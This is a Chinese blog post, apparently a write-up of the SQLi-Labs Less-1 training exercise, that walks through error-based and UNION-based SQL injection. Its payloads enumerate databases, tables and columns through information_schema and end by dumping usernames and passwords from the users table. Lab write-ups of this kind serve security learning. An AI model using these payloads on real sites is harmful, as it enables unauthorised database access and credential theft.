sqllab通关记录

sqllab且视他人之凝目如盏盏鬼火,大胆地去走你的夜路。搭建sqllab将sql文件夹复制到phpstudy下的WWW目录中 打开sqllab文件编辑db-creds.inc,编辑密码为root,并且在phpstudy中修改mysql密码为一致 Less-1sqllab正常运行寻找可能的注入点输入?id=1' 尝试报错可以看出数据库为mysql并且报错内容为'1'' limit 0,1猜测源原来的数据库语句可能是'select * from xx where.
摘要由CSDN通过智能技术生成

sqllab-Less1


且视他人之凝目如盏盏鬼火,大胆地去走你的夜路。


搭建sqllab

  1. 将sql文件夹复制到phpstudy下的WWW目录中
  2. 打开sqllab文件编辑db-creds.inc,编辑密码为root,并且在phpstudy中修改mysql密码为一致

Less-1

sqllab正常运行

寻找可能的注入点

输入?id=1'  尝试报错

可以看出数据库为mysql并且报错内容为'1'' limit 0,1

猜测源原来的数据库语句可能是'select * from xx where id ='1' limit 1,0

判断列数?id=1' order by 3 --+ 判断列数   (二分法)

数据库执行语句相当于select * from xx where id='1' order by 3--+' --+为注释符

使用union联合查询   ?id=-1' union select 1,2,3 --+判断回显位置

concat ()为聚合函数 用户将多个字符串连接成一个字符串,多列变一列

mysql> select id,'---',username from admin limit 0,1;

mysql> select concat(id,'---',username) frome admin limit 0,1;    

group_concat()用于返回字符串的所有结果,该结果由分组的值连接而成

 查库名

?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+

 查表名

?id=-1' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security' --+

查列名

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+

获取数据

?id=-1' union select 1,2,group_concat(0x5a,username,0x7e,password) from users --+

Less-2

待续。。。。

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值